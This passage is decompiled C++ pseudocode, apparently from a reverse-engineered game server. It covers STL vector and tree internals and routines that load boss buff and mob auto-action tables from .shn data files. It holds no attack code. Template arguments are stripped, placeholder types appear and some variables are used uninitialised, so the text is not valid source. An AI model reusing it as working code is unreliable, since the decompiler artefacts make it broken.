*)((char *)v4 + 4 * _Capacity); v2->_Myfirst = (AbnormalStateInfo::ABSTATEINDEX *)v4; v2->_Mylast = (AbnormalStateInfo::ABSTATEINDEX *)v4; result = 1; } else { result = 0; } return result; } //----- (0054E0A0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const int *_Val) { std::vector > *v4; // esi@1 int *v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #331 **v16; // eax@25 int *v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #331 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (const int *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#331 **)(v20 - v23); v4->_Mylast = (int *)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#331 ***)&v21, v25, (#331 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#331 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (int *)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#331 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (int *)((char *)_Newvec + _Counta); v4->_Mylast = (int *)((char *)_Newvec + 4 * v19); v4->_Myfirst = (int *)_Newvec; } } } //----- (0054E280) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 29) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 29) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 29); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 29); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (0054E340) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateInfo::ABSTATEINDEX *_Val) { std::vector > *v4; // esi@1 AbnormalStateInfo::ABSTATEINDEX *v5; // edx@1 AbnormalStateInfo::ABSTATEINDEX v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // ecx@6 int v10; // ecx@11 int v11; // eax@15 int v12; // ecx@18 int v13; // eax@22 void *v14; // edi@25 std::list,std::allocator > >::iterator *v15; // ST14_4@25 AbnormalStateInfo::ABSTATEINDEX *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::list,std::allocator > >::iterator *v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 std::list,std::allocator > >::iterator *v24; // ST20_4@32 int v25; // ebx@32 std::list,std::allocator > >::iterator *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-28h]@31 int v28; // [sp+0h] [bp-24h]@1 void *_Newvec; // [sp+Ch] [bp-18h]@25 int v30; // [sp+10h] [bp-14h]@25 int *v31; // [sp+14h] [bp-10h]@1 int v32; // [sp+20h] [bp-4h]@25 unsigned int _Wherea; // [sp+2Ch] [bp+8h]@31 std::list,std::allocator > >::iterator *_Countb; // [sp+30h] [bp+Ch]@25 std::list,std::allocator > >::iterator *_Counta; // [sp+30h] [bp+Ch]@31 v4 = this; v5 = this->_Myfirst; v6 = *_Val; v31 = &v28; _Val = (AbnormalStateInfo::ABSTATEINDEX *)v6; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( 1073741823 - v9 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2 < _Count; v22 = 4 * _Count; _Wherea = 4 * _Count; v27.dummy[0] = 4 * _Count; _Counta = (std::list,std::allocator > >::iterator *)v4->_Mylast; if ( v21 ) { std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&v20, v19, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + v22), (std::allocator,std::allocator > >::iterator> *)v4, v27); v23 = v8 - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v20) >> 2); v24 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v32 = 2; std::vector>::_Ufill( (std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *)&_Val); v25 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (AbnormalStateInfo::ABSTATEINDEX *)v25; std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(v25 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { v26 = &v19[-v22 / 4u]; v4->_Mylast = (AbnormalStateInfo::ABSTATEINDEX *)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( &v19[-v22 / 4u], v19, v19, (std::allocator,std::allocator > >::iterator> *)v4, v27); std::copy_backward( *(std::list,std::allocator > >::iterator **)&v20, v26, _Counta); std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v5 ) v13 = v4->_Mylast - v5; else v13 = 0; v11 = _Count + v13; } v30 = 4 * v11; v14 = operator new(4 * v11); v15 = (std::list,std::allocator > >::iterator *)v4->_Myfirst; _Newvec = v14; v32 = 0; _Countb = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v15, *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v14, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Countb, v8, (std::list,std::allocator > >::iterator *)&_Val, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v4->_Mylast, &_Countb[v8], (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v4->_Myfirst); v4->_Myend = (AbnormalStateInfo::ABSTATEINDEX *)((char *)v14 + v30); v4->_Mylast = (AbnormalStateInfo::ABSTATEINDEX *)((char *)v14 + 4 * v18); v4->_Myfirst = (AbnormalStateInfo::ABSTATEINDEX *)v14; } } } //----- (0054E580) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 37) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 37) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 37); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 37); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (0054E640) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 AbnormalStateInfo::ABSTATEINDEX *v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 AbnormalStateInfo::ABSTATEINDEX *v7; // ecx@7 AbnormalStateInfo::ABSTATEINDEX *v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = _Right->_Myfirst; v11 = &v9; v10 = v2; if ( v3 ) v4 = _Right->_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)v2); v5 = 4 * v4; v6 = operator new(4 * v4); v2->_Myfirst = (AbnormalStateInfo::ABSTATEINDEX *)v6; v2->_Mylast = (AbnormalStateInfo::ABSTATEINDEX *)v6; v2->_Myend = (AbnormalStateInfo::ABSTATEINDEX *)((char *)v6 + v5); v7 = _Right->_Mylast; v8 = _Right->_Myfirst; v12 = 0; v2->_Mylast = (AbnormalStateInfo::ABSTATEINDEX *)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v8, (std::list,std::allocator > >::iterator *)v7, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (0054E6E6) -------------------------------------------------------- void __usercall _L159621(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::operator_(void *this, int __formal) { void *v2; // esi@1 AbnormalStateInfo::ABSTATEINDEX *v3; // ebx@2 int v4; // edx@2 int v5; // ecx@3 void *result; // eax@6 int v7; // eax@7 int v8; // edx@8 int v9; // eax@11 int v10; // edx@15 int v11; // edx@19 AbnormalStateInfo::ABSTATEINDEX *v12; // ebx@21 int v13; // ecx@24 int v14; // eax@25 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(AbnormalStateInfo::ABSTATEINDEX **)(__formal + 4); v4 = 0; if ( !v3 || (v5 = (*(_DWORD *)(__formal + 8) - (signed int)v3) >> 2) == 0 ) { if ( *((_DWORD *)v2 + 1) ) { operator delete(*((void **)v2 + 1)); v4 = 0; } *((_DWORD *)v2 + 1) = v4; *((_DWORD *)v2 + 2) = v4; *((_DWORD *)v2 + 3) = v4; return v2; } v7 = *((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - v7) >> 2; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::copy( v3, *(AbnormalStateInfo::ABSTATEINDEX **)(__formal + 8), *((AbnormalStateInfo::ABSTATEINDEX **)v2 + 1)); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 4 * ((*(_DWORD *)(__formal + 8) - v9) >> 2); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - v7) >> 2; else v10 = 0; if ( v5 > (unsigned int)v10 ) { if ( v7 ) operator delete(*((void **)v2 + 1)); v13 = *(_DWORD *)(__formal + 4); if ( v13 ) v14 = (*(_DWORD *)(__formal + 8) - v13) >> 2; else v14 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v14) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator,std::allocator > >::iterator> *)v2, *(std::list,std::allocator > >::iterator **)(__formal + 4), *(std::list,std::allocator > >::iterator **)(__formal + 8), *((std::list,std::allocator > >::iterator **)v2 + 1)); return v2; } if ( v7 ) v11 = (*((_DWORD *)v2 + 2) - v7) >> 2; else v11 = 0; v12 = (AbnormalStateInfo::ABSTATEINDEX *)(*(_DWORD *)(__formal + 4) + 4 * v11); std::copy( *(AbnormalStateInfo::ABSTATEINDEX **)(__formal + 4), v12, *((AbnormalStateInfo::ABSTATEINDEX **)v2 + 1)); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v12, *(std::list,std::allocator > >::iterator **)(__formal + 8), *((std::list,std::allocator > >::iterator **)v2 + 2), (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } //----- (0054E850) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_Load(BossFieldContent::ServentBuffBossTable *this) { unsigned int v1; // eax@1 unsigned int v2; // ecx@1 void *v3; // esi@5 unsigned int v4; // edi@13 MobDataBox::MobDataBoxIndex *v5; // eax@16 unsigned int k; // [sp+Ch] [bp-DCh]@1 std::_Tree,std::allocator,0> > *thisa; // [sp+10h] [bp-D8h]@1 int tmp; // [sp+14h] [bp-D4h]@7 unsigned int v9; // [sp+18h] [bp-D0h]@16 AbnormalStateDictionary::AbState::AbStateStr *v10; // [sp+1Ch] [bp-CCh]@16 int v11; // [sp+20h] [bp-C8h]@16 FunctionEntarance _; // [sp+24h] [bp-C4h]@1 std::pair,std::allocator,0> >::iterator,bool result; // [sp+28h] [bp-C0h]@16 char sm; // [sp+30h] [bp-B8h]@1 int v15; // [sp+60h] [bp-88h]@1 char flag; // [sp+6Ch] [bp-7Ch]@1 unsigned int cookie; // [sp+D4h] [bp-14h]@17 int v18; // [sp+E4h] [bp-4h]@1 thisa = (std::_Tree,std::allocator,0> > *)this; _.fe_FunctionCode = "BossFieldContent::ServentBuffBossTable::sbbt_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ServentBuffBossTable::sbbt_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)&sm); memset(&flag, 0, 0x64u); LOBYTE(v18) = 1; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&sm, "../9Data/Shine/StateMob.shn"); v1 = *(_DWORD *)(v15 + 40); v2 = 0; k = 0; if ( (signed int)v1 > 0 ) { while ( 1 ) { if ( v2 < v1 ) v3 = CDataReader::GetRecord((CDataReader *)&sm, v2); else v3 = &flag; LOWORD(tmp) = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v3 + 32); if ( (_WORD)tmp == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ServentBuffBossTable::sbbt_Load : ConditionMob not found", (const char *)v3 + 32); ShineExit("ServentBuffBossTable::sbbt_Load"); } HIWORD(tmp) = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v3); if ( HIWORD(tmp) == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ServentBuffBossTable::sbbt_Load : TargetMob not found", (const char *)v3); ShineExit("ServentBuffBossTable::sbbt_Load"); } v4 = BTree::operator__(&unk_608A28, (const char *)v3 + 64); if ( v4 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ServentBuffBossTable::sbbt_Load : Abstate not fount", (const char *)v3 + 64); ShineExit("FieldContainer::fc_AbstateInFieldLoad"); } v9 = v4; v10 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, (AbnormalStateInfo::ABSTATEINDEX)v4); v11 = *((_DWORD *)v3 + 24); v5 = MobDataBox::operator__(&mobdatabox, tmp); v5->MobIndexFlag._bf0 |= 1u; std::_Tree_std::allocator_0>>::insert( thisa, &result, (BossFieldContent::ServentBuffBossTable::ServentBossTable *)&tmp); v1 = *(_DWORD *)(v15 + 40); ++k; if ( (signed int)k >= (signed int)v1 ) break; v2 = k; } } LOBYTE(v18) = 0; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&sm); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_Load"); __security_check_cookie(cookie); } //----- (0054EA90) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::maal_Load(BossFieldContent::MobAutomaticActionList *this) { unsigned int v1; // eax@1 unsigned int v2; // edi@1 bool v3; // cf@2 void *v4; // esi@4 MobDataBox::MobDataBoxIndex *v5; // eax@9 int v6; // eax@11 unsigned int v7; // ebx@14 int v8; // eax@17 int v9; // ecx@17 int v10; // edx@17 int v11; // edi@17 unsigned int v12; // eax@17 std::_Tree,std::allocator,0> > *thisa; // [sp+10h] [bp-D0h]@1 std::pair,std::allocator,0> >::iterator,bool> k; // [sp+14h] [bp-CCh]@1 int key; // [sp+1Ch] [bp-C4h]@6 int v16; // [sp+20h] [bp-C0h]@11 unsigned int v17; // [sp+24h] [bp-BCh]@17 int v18; // [sp+28h] [bp-B8h]@17 int v19; // [sp+2Ch] [bp-B4h]@17 int v20; // [sp+30h] [bp-B0h]@17 FunctionEntarance _; // [sp+34h] [bp-ACh]@1 char maa; // [sp+38h] [bp-A8h]@1 int v23; // [sp+68h] [bp-78h]@1 char flag; // [sp+74h] [bp-6Ch]@1 char v25; // [sp+C4h] [bp-1Ch]@1 unsigned int cookie; // [sp+CCh] [bp-14h]@18 int v27; // [sp+DCh] [bp-4h]@1 thisa = (std::_Tree,std::allocator,0> > *)this; _.fe_FunctionCode = "BossFieldContent::MobAutomaticActionList::maal_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAutomaticActionList::maal_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)&maa); memset(&flag, 0, 0x50u); v25 = 0; LOBYTE(v27) = 1; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&maa, "../9Data/Shine/MobAutoAction.shn"); v1 = *(_DWORD *)(v23 + 40); v2 = 0; *(_DWORD *)&k.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = 0; if ( (signed int)v1 > 0 ) { v3 = v1 > 0; do { if ( v3 ) v4 = CDataReader::GetRecord((CDataReader *)&maa, v2); else v4 = &flag; LOWORD(key) = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v4); if ( (_WORD)key == -1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAutomaticActionList::maal_Load : Invalid mob in MobAutoAction", (const char *)v4); ShineExit("BossFieldContent::MobAutomaticActionList::maal_Load"); } v5 = MobDataBox::operator__(&mobdatabox, key); if ( !*((_DWORD *)v4 + 8) ) v5->MobIndexFlag._bf0 |= 2u; v6 = *((_DWORD *)v4 + 10); v16 = *((_DWORD *)v4 + 10); if ( v16 != 1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAutomaticActionList::maal_Load : ActionType not defined", v6); ShineExit("BossFieldContent::MobAutomaticActionList::maal_Load"); } v7 = BTree::operator__(&unk_608A28, (const char *)v4 + 44); if ( v7 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAutomaticActionList::maal_Load : Abstate not fount", (const char *)v4 + 44); ShineExit("FieldContainer::fc_AbstateInFieldLoad"); } v8 = *((_BYTE *)v4 + 76); v9 = *(_WORD *)((char *)v4 + 77); v10 = *(_WORD *)((char *)v4 + 79); v11 = *(_DWORD *)&k; v17 = v7; v18 = v8; v19 = v9; v20 = v10; std::_Tree_std::allocator_0>>::insert( thisa, &k, (BossFieldContent::MobAutomaticAction *)&key); v12 = *(_DWORD *)(v23 + 40); v2 = v11 + 1; v3 = v2 < v12; *(_DWORD *)&k.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v2; } while ( (signed int)v2 < (signed int)v12 ); } LOBYTE(v27) = 0; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&maa); --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_Load"); __security_check_cookie(cookie); } //----- (0054ECC0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, int _Val) { std::vector > *v3; // esi@1 int *v4; // edx@1 signed int v5; // eax@2 signed int v6; // eax@6 int *v7; // eax@10 char *v8; // edx@11 int *v9; // eax@12 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = this->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = this->_Mylast; if ( _Newsize < this->_Mylast - v4 ) { v8 = (char *)&v4[_Newsize]; if ( (int *)v8 != v7 ) { memmove(v8, (char *)v7, 0); v3->_Mylast = v9; } } } } else { if ( v4 ) v6 = this->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v6, &_Val); } } //----- (0054ED50) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Copy_backward_opt(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { BossFieldContent::MobAbstateCheckAtDead *v4; // esi@1 BossFieldContent::MobAbstateCheckAtDead *v5; // edi@2 StateDropType v6; // eax@3 BossFieldContent::MobAbstateCheckAtDead *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].macad_Type; --v4; --v5; v5->macad_Type = v6; std::vector>::operator_( &v5->macad_List, (int)&v4->macad_List); } while ( v4 != _First ); result = v5; } return result; } //----- (0054ED90) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateInfo::ABSTATEINDEX *_Val) { std::vector > *v2; // esi@1 AbnormalStateInfo::ABSTATEINDEX *v3; // edx@1 signed int v4; // ecx@2 AbnormalStateInfo::ABSTATEINDEX *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( (std::list,std::allocator > >::iterator *)v2->_Mylast, 1u, (std::list,std::allocator > >::iterator *)_Val, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (0054EE00) -------------------------------------------------------- void __cdecl std::fill(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Val) { BossFieldContent::MobAbstateCheckAtDead *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->macad_Type = _Val->macad_Type; std::vector>::operator_( &i->macad_List, (int)&_Val->macad_List); } } //----- (0054EE30) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Uninit_copy>(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { BossFieldContent::MobAbstateCheckAtDead *v5; // esi@1 BossFieldContent::MobAbstateCheckAtDead *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 